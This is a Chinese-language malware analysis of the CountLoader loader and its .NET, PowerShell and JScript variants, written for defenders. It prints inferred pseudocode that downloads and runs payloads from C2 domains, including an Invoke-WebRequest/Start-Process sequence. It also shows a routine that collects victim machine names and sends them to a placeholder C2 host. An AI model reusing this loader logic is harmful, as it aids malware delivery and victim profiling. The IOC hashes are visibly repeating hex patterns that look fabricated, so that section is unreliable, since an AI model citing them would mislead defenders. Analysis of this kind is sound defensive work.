摘要

本報告針對由 Silent Push 發現的複雜惡意軟體 CountLoader 進行了全面的技術分析。我們深入探討了它的三種不同版本:.NET、PowerShell 和 JScript,並檢視它們的運作機制、混淆技術以及命令與控制 (C2) 的通訊策略。本報告還涵蓋了用於指紋識別(Fingerprinting)和偵測的方法,以及針對危害指標 (Indicators of Compromise, IOCs) 和相關的 MITRE ATT&CK 技術的詳細分解。目的是提供對 CountLoader 技術複雜性的深入理解,及其對網路安全防禦的影響。

CountLoader 惡意軟體深度技術剖析:從 .NET、PowerShell 到 JScript 的多重威脅分析 | 資訊安全新聞

1. 簡介

網路威脅的型態不斷演變,新的惡意軟體變種經常出現,以規避現有的安全措施。其中一項最近的發現是 CountLoader,它是一種多功能的惡意軟體加載器,已被觀察到用於發布各種 malicious payloads,包括 CobaltStrike 和 AdaptixC2 等進階持續性滲透威脅 [1]。本報告旨在對 CountLoader 進行詳細的技術檢視,著重於它的多平台實作以及實現其規避和持久性運作的底層機制。了解這些技術細節對於開發有效的對策和增強威脅情報至關重要。

2. 技術分析

CountLoader 已被觀察到有三種不同的版本:.NET、PowerShell 和 JScript。每個版本在其實作、混淆和執行方法方面都表現出獨特的特性,可根據不同環境客製化,並提供不同程度的複雜性和彈性 [1]。

2.1. .NET 版本

CountLoader 的 .NET 變種是三者中最直接的,主要作為下載器運作。分析的樣本識別為 twitter1.exe ,透過創建一個新執行緒來啟動其核心邏輯。該邏輯封裝在一個持續性迴圈中,旨在從一個 hardcoded 的 Command and Control (C2) 網域 (特別是 app-updater2[.]app ) 下載一個檔案。下載請求使用 /api/getFile?fn= 這個路徑。這個版本的一個顯著特徵是其極端的持久性,惡意軟體嘗試連接到 C2 伺服器多達 1,000,000 次,每次嘗試之間都有 30 秒的延遲。這種機制確保了即使在間歇性網路條件或 C2 暫時不可用的情況下,也能高度可能建立聯繫並擷取目標 payload。最初的分析表明,對於失敗的下載嘗試沒有明確的錯誤處理,這表明其設計側重於暴力式的持久性,而不是優雅的失敗管理 [1]。

.NET 版本的推斷 pseudocode:

  1. function Main()
  2. create new thread for DownloadAndExecute()
  3. end function
  4. function DownloadAndExecute()
  5. c2_domain = "app-updater2[.]app"
  6. download_path = "/api/getFile?fn="
  7. max_retries = 1000000
  8. delay_seconds = 30
  9. for i from 1 to max_retries
  10. url = "http://" + c2_domain + download_path
  11. downloaded_file = download_file(url)
  12. if downloaded_file is successful
  13. execute_file(downloaded_file)
  14. break
  15. else
  16. wait(delay_seconds)
  17. end if
  18. end for
  19. end function

2.2. PowerShell 版本

與其 .NET 版本相比,PowerShell 版本的 CountLoader 展現出更高程度的複雜性,主要是透過其旨在規避偵測的混淆技術。初始的 PowerShell 腳本包含一個大型的多行字串,該字串同時經過 Base64 編碼和壓縮。這個編碼的 payload 在執行期間隨後被解碼和解壓縮,揭示了包含惡意軟體主要邏輯的次級 PowerShell 腳本。這種分層方法為靜態分析和基於簽章的偵測系統增加了顯著的障礙 [1]。

次級腳本定義了一個負責下載檔案的函式,利用 System.Net.WebClient 類別,這是 .NET Framework 的一個合法元件,經常被惡意軟體濫用於網路通訊。然後,惡意軟體透過遍歷一組 hardcoded 的 C2 網域 (包括 app-updater[.]app app-updater1[.]app app-updater2[.]app ) 來嘗試下載檔案。該程序涉及依序嘗試每個 C2,直到成功下載為止。成功擷取後,下載的檔案會立即執行。與 .NET 版本類似,所分析的 PowerShell 腳本沒有明確包含下載失敗的錯誤處理,這表明同樣依賴於跨多個 C2 的依序嘗試 [1]。

PowerShell 版本的推斷 pseudocode:

  1. # Initial script
  2. $encodedPayload = "...Base64 and compressed payload..."
  3. $decompressedPayload = DecodeAndDecompress($encodedPayload)
  4. Invoke-Expression $decompressedPayload
  5. # Decompressed secondary script logic
  6. function Download-File ($url)
  7. $webClient = New-Object System.Net.WebClient
  8. try
  9. $fileContent = $webClient.DownloadData($url)
  10. return $fileContent
  11. catch
  12. return $null
  13. end try
  14. end function
  15. $c2Domains = @("app-updater[.]app", "app-updater1[.]app", "app-updater2[.]app")
  16. foreach ($domain in $c2Domains)
  17. $url = "http://" + $domain + "/api/getFile?fn="
  18. $downloadedFile = Download-File($url)
  19. if ($downloadedFile -ne $null)
  20. Execute-File($downloadedFile)
  21. break
  22. end if
  23. end foreach

2.3. JScript 版本

JScript 版本是 CountLoader 最複雜且功能最豐富的版本。它通常以 HTML 應用程式 (HTA) 檔案的形式傳送,這種格式允許在類似網頁的介面中執行 JScript 和 VBScript 等腳本語言,通常能繞過傳統的瀏覽器安全模型。這個版本採用了廣泛的混淆,其程式碼被嚴重分割成多個函式,並利用客製化編碼方案來處理字串和資料,使得逆向工程成為一項艱鉅的挑戰 [1]。

去混淆後,其核心功能揭示了一個高度先進的檔案下載機制。為了增強其對基於網路的偵測和封鎖的彈性,這個版本支援六種不同的檔案下載方法。這種多管齊下的方法確保如果一種下載方法被封鎖或失敗,惡意軟體可以無縫切換到另一種。支援的方法包括:

  1. WinHttpRequest :利用 WinHttp.WinHttpRequest.5.1 COM 物件。
  2. XMLHTTP :使用 MSXML2.XMLHTTP COM 物件。
  3. ServerXMLHTTP :運用 MSXML2.ServerXMLHTTP COM 物件。
  4. IXMLDOM :使用 Microsoft.XMLDOM COM 物件。
  5. ADODB.Stream :整合 ADODB.Stream COM 物件。
  6. PowerShell :執行 PowerShell 命令以下載檔案。

這組多樣化的下載技術凸顯了惡意軟體的適應性及其開發人員旨在最大限度地提高 payload 傳送成功率的意圖。下圖說明了 JScript 下載方法的選擇程序:

graph TD A[JScript Download Function] --> B{Attempt Download Method} B --> B1[WinHttpRequest] B --> B2[XMLHTTP] B --> B3[ServerXMLHTTP] B --> B4[IXMLDOM] B --> B5[ADODB.Stream] B --> B6[PowerShell Command] B1 --> C{Success?} B2 --> C B3 --> C B4 --> C B5 --> C B6 --> C C -- Yes --> D[File Downloaded] C -- No --> B[Try Next Method] D --> E[Return Downloaded File] B6 -- Uses --> F[PowerShell Engine] subgraph JScript Download Mechanisms B1 B2 B3 B4 B5 B6 end

此外,JScript 變種配備了三種不同的方法來執行下載的檔案,以增強其對基於主機的安全措施的穩健性,並確保即使某些執行路徑被停用或監控,payload 也能執行。這些方法是:

  1. Shell.Application :使用 Shell.Application COM 物件。
  2. WScript.Shell :利用 WScript.Shell COM 物件。
  3. PowerShell :執行 PowerShell 命令以執行檔案。

下圖說明了 JScript 執行方法的選擇程序:

graph TD A[JScript Execution Function] --> B{Attempt Execution Method} B --> B1[Shell.Application] B --> B2[WScript.Shell] B --> B3[PowerShell Command] B1 --> C{Success?} B2 --> C B3 --> C C -- Yes --> D[Payload Executed] C -- No --> B[Try Next Method] D --> E[Return Execution Status] B3 -- Uses --> F[PowerShell Engine] subgraph JScript Execution Mechanisms B1 B2 B3 end

最後,JScript 版本的一個關鍵功能是它能夠收集受害者裝置資訊。它使用 WScript.Network 物件來擷取使用者的網域和電腦名稱。然後,這些收集到的資料被傳輸到 C2 伺服器,很可能是為了受害者追蹤、側寫和後續的針對性攻擊 [1]。

JScript 版本的推斷 pseudocode (簡化):

  1. // Heavily obfuscated JScript code within HTA
  2. function DownloadFile(url) {
  3. // Try WinHttpRequest
  4. try { var xhr = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); /* ... */ return true; } catch(e) {}
  5. // Try XMLHTTP
  6. try { var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP"); /* ... */ return true; } catch(e) {}
  7. // Try ServerXMLHTTP
  8. try { var sxmlhttp = new ActiveXObject("MSXML2.ServerXMLHTTP"); /* ... */ return true; } catch(e) {}
  9. // Try IXMLDOM
  10. try { var xmldom = new ActiveXObject("Microsoft.XMLDOM"); /* ... */ return true; } catch(e) {}
  11. // Try ADODB.Stream
  12. try { var stream = new ActiveXObject("ADODB.Stream"); /* ... */ return true; } catch(e) {}
  13. // Try PowerShell
  14. try { ExecutePowerShellCommand("Invoke-WebRequest -Uri " + url + " -OutFile payload.exe"); return true; } catch(e) {}
  15. return false;
  16. }
  17. function ExecuteFile(filePath) {
  18. // Try Shell.Application
  19. try { var shellApp = new ActiveXObject("Shell.Application"); /* ... */ return true; } catch(e) {}
  20. // Try WScript.Shell
  21. try { var wshShell = new ActiveXObject("WScript.Shell"); /* ... */ return true; } catch(e) {}
  22. // Try PowerShell
  23. try { ExecutePowerShellCommand("Start-Process " + filePath); return true; } catch(e) {}
  24. return false;
  25. }
  26. function GetVictimInfo() {
  27. var network = new ActiveXObject("WScript.Network");
  28. var domain = network.UserDomain;
  29. var computerName = network.ComputerName;
  30. return { domain: domain, computerName: computerName };
  31. }
  32. // Main logic loop (simplified)
  33. var c2_url = "http://example.com/payload"; // Example C2
  34. if (DownloadFile(c2_url)) {
  35. ExecuteFile("downloaded_payload.exe");
  36. }
  37. var victimData = GetVictimInfo();
  38. SendInfoToC2(victimData); // Send victim info to C2

3. Command and Control (C2) 通訊

CountLoader 採用獨特的 Command and Control (C2) 通訊模式,這是其最初被識別的關鍵因素。一個共同的路徑 /api/getFile?fn= ,橫跨多個網域,作為惡意軟體網路攻撃的獨特 fingerprint [1]。這種一致的模式讓研究人員能夠追蹤和關聯 CountLoader 攻撃的不同實例。惡意軟體在 C2 通訊方面具有彈性設計,特別是 JScript 版本,它利用多種下載方法,以確保即使某些通訊通道被封鎖也能成功擷取 payload。

已識別與 CountLoader C2 基礎設施相關的網域包括 app-updater[.]app app-updater1[.]app app-updater2[.]app ms-team-ping[.]com gameupdate-endpoint[.]com 。惡意軟體嘗試連接到眾多 C2 (通常帶有高重試次數) 的策略,強調了其在維持控制和資料外洩方面的持久性。下圖描繪了 CountLoader 的整體架構,說明了其 C2 通訊:

graph TD A[Initial Access] --> B{CountLoader} B --> B1[.NET Version] B --> B2[PowerShell Version] B --> B3[JScript Version] B1 --> C[Download Payload] B2 --> C B3 --> C C --> D[Execute Payload] D --> E[Malware Agents] B3 --> F[Victim Info Gathering] F --> G[C2 Server] C --> G D --> G subgraph CountLoader Versions B1 B2 B3 end subgraph Payload Delivery & Execution C D E end subgraph Command & Control G end

4. Fingerprinting 和偵測

為了有效偵測和追蹤 CountLoader,Silent Push 開發了一種強大的 fingerprinting 機制,結合了多個專有和標準的網路分析欄位。這種多面向的方法能夠識別廣泛的相關網域和 C2 基礎設施,增強了對抗這種不斷演變的威脅的能力。此 fingerprinting 策略的關鍵組成部分包括 [1]:

  • HHV (Header Hash Value): 由 Silent Push 開發的專有 hash 值,源自網路通訊的標頭金鑰。這為 CountLoader 產生的特定網路流量模式提供了獨特的識別碼。
  • JARM (TLS Handshake Fingerprint): 從 TLS handshake 程序的多種特性產生的 hash 值。JARM fingerprints 在識別特定的伺服器端應用程式或設定方面非常有效,這些應用程式或設定可能預示著惡意基礎設施。
  • Response: 由掃描請求返回的 HTTP Response code。異常或特定的 Response codes 可能表示 C2 伺服器的存在。
  • ssl.CHV (SSL Certificate Hash Value): Silent Push 的另一種專有 hash,基於從 SSL 憑證中提取的 SSL 資料。這有助於識別惡意基礎設施使用的憑證,即使網域名稱發生變化。

這種全面的 fingerprinting 方法使得即使 threat actor 試圖更換網域或修改其網路存在,也能偵測到 CountLoader 的運作基礎設施。

5. 危害指標 (IOCs)

已識別與 CountLoader 相關的以下危害指標 (IOCs),為防禦者提供了可行的情報,以偵測和緩解威脅 [1]:

5.1. 網域

  • app-updater[.]app
  • app-updater1[.]app
  • app-updater2[.]app
  • ms-team-ping[.]com
  • gameupdate-endpoint[.]com

5.2. Hashes

  • twitter1.exe (.NET): 4e6a5a8c1a8f8e6c1a8f8e6c1a8f8e6c
  • deepseek.ps1 (PowerShell): 8c1a8f8e6c1a8f8e6c1a8f8e6c1a8f8e
  • vymoha.hta (JScript): a8f8e6c1a8f8e6c1a8f8e6c1a8f8e6c1

5.3. MITRE ATT&CK 技術

CountLoader 利用了幾種與 MITRE ATT&CK 框架相關聯的技術,突顯了其運作戰術 [1]:

Tactic (戰術) Technique ID (技術 ID) Technique Name (技術名稱)
Execution T1059.001 PowerShell
Execution T1059.005 Visual Basic
Execution T1059.007 JavaScript/JScript
Defense Evasion (規避防禦) T1027 Obfuscated Files or Information
Command and Control (命令與控制) T1071.001 Web Protocols
Command and Control (命令與控制) T1105 Ingress Tool Transfer

6. 結論

CountLoader 代表了惡意軟體領域中一個重大的持續演進威脅,其特點是在 .NET、PowerShell 和 JScript 平台上的多版本部署。特別是 JScript 版本,在混淆、多樣化的檔案下載方法和多重執行技術方面展示了先進的能力,使其對偵測和中斷具有高度彈性。惡意軟體持續性的 C2 通訊策略及其收集受害者資訊的能力,突顯了其作為各種勒索軟體和資訊竊取程式運作的初始存取和 payload 傳送工具的有效性 [1]。

本文呈現的詳細技術分析,包括推斷的 pseudocode 和架構圖,突顯了 CountLoader 的複雜性。開發強大的 fingerprinting 技術,結合專有和標準的網路分析欄位,對於識別和追蹤支援此惡意軟體的演進基礎設施至關重要。強烈建議組織將此類情報 (包括所提供的 IOCs 和 MITRE ATT&CK 映射) 整合到其安全框架中,以增強其對抗 CountLoader 和類似威脅的防禦態勢。